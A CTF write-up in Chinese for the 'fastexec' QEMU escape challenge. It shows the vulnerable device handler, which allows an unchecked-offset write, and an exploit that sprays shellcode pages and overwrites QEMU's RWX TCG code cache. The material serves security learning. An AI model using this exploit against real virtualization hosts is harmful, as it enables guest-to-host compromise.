fastexec

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • Qemu虚拟化逃逸

解题思路

题目分析

新增fastexec设备,其结构体如下

1
2
3
4
5
6
7
8
9
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
uint64_t execed;
uint64_t offset;
uint64_t size;
uint64_t paddr;
char buf[0x100000];
} FastexecState;

漏洞非常明显,给了选手基于设备结构体地址的任意地址写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void fastexec_mmio_write(void *opaque, hwaddr addr, uint64_t val,
unsigned size)
{
FastexecState *fastexec = opaque;

if (size != 8) {
return;
}

switch (addr) {
case 0x08:
fastexec->offset = val;
break;
case 0x10:
fastexec->size = val;
break;
case 0x18:
fastexec->paddr = val;
break;
case 0x20:
if ((val == 0xf62d) && (fastexec->execed == 0)) {
cpu_physical_memory_read(fastexec->paddr, fastexec->buf + fastexec->offset, fastexec->size);
fastexec->execed = 1;
}
break;
}
return;
}

漏洞利用

Qemu会在内存中mmap一块内存作为TCG模块的代码缓冲区,这块内存是RWX的。

对于已经翻译的代码块,如果其未修改,Qemu会将其放置在该区域并缓存

对该区域写入SHELLCODE(加上滑板),会在Qemu调用这块缓存代码时触发shellcode执行

fastexec结构体的内存是通过mmap分配的,其与TCG代码缓冲区内存地址相近,因此考虑攻击TCG代码缓冲区。

核心利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int main() {
srand(time(NULL));
struct stat file_info;
for (size_t idx = 0; idx < 0x20; idx ++) {
resource_path[idx] = dev_get_path_from_id(0x4399, 0x4399, idx);
fds[idx] = open(resource_path[idx], O_RDWR | O_SYNC);
if (fds[idx] != -1) {
int ret = stat(resource_path[idx], &file_info);
MAP_SIZEs[idx] = file_info.st_size;
void * map_try = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fds[idx], 0);
if (map_try == (void *)-1) {
printf("fd[%lu] --> pmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
mmios[idx] = 0;
}
else {
mmios[idx] = 1;
printf("fd[%lu] --> mmio, size --> %016lx\n", idx, MAP_SIZEs[idx]);
munmap(map_try, 0x1000);
}
}
}

void *info = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);

void *pages[100];

for (size_t i = 0; i < 100; i ++) {
pages[i] = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(pages[i], '\x90', 0x1000);

for(size_t j = 0x400; j < 0x1000; j += 0x300) {
memcpy((char *)pages[i] + j, shellcode, sizeof(shellcode));
}
printf("%lx\n", virt2phys(pages[i]));
}

memset(info, '\x90', 0x1000);

size_t start = 0xffff;
for (size_t i = 0; i < 100 - 8; i ++) {
size_t fail = 0;
size_t phys[8];
phys[0] = virt2phys(pages[i]);
for (size_t j = 1; j < 8; j ++) {
phys[j] = virt2phys(pages[i+j]);
if (phys[j] - phys[j - 1] != 0x1000) {
fail = 1;
break;
}
}
if (fail == 0) {
start = i;
}
}

printf("%lx\n", start);
assert (start != 0xffff);

do_write(virt2phys(pages[start]), 0xffffffffbcf00000, 0x8000);

return 0;
}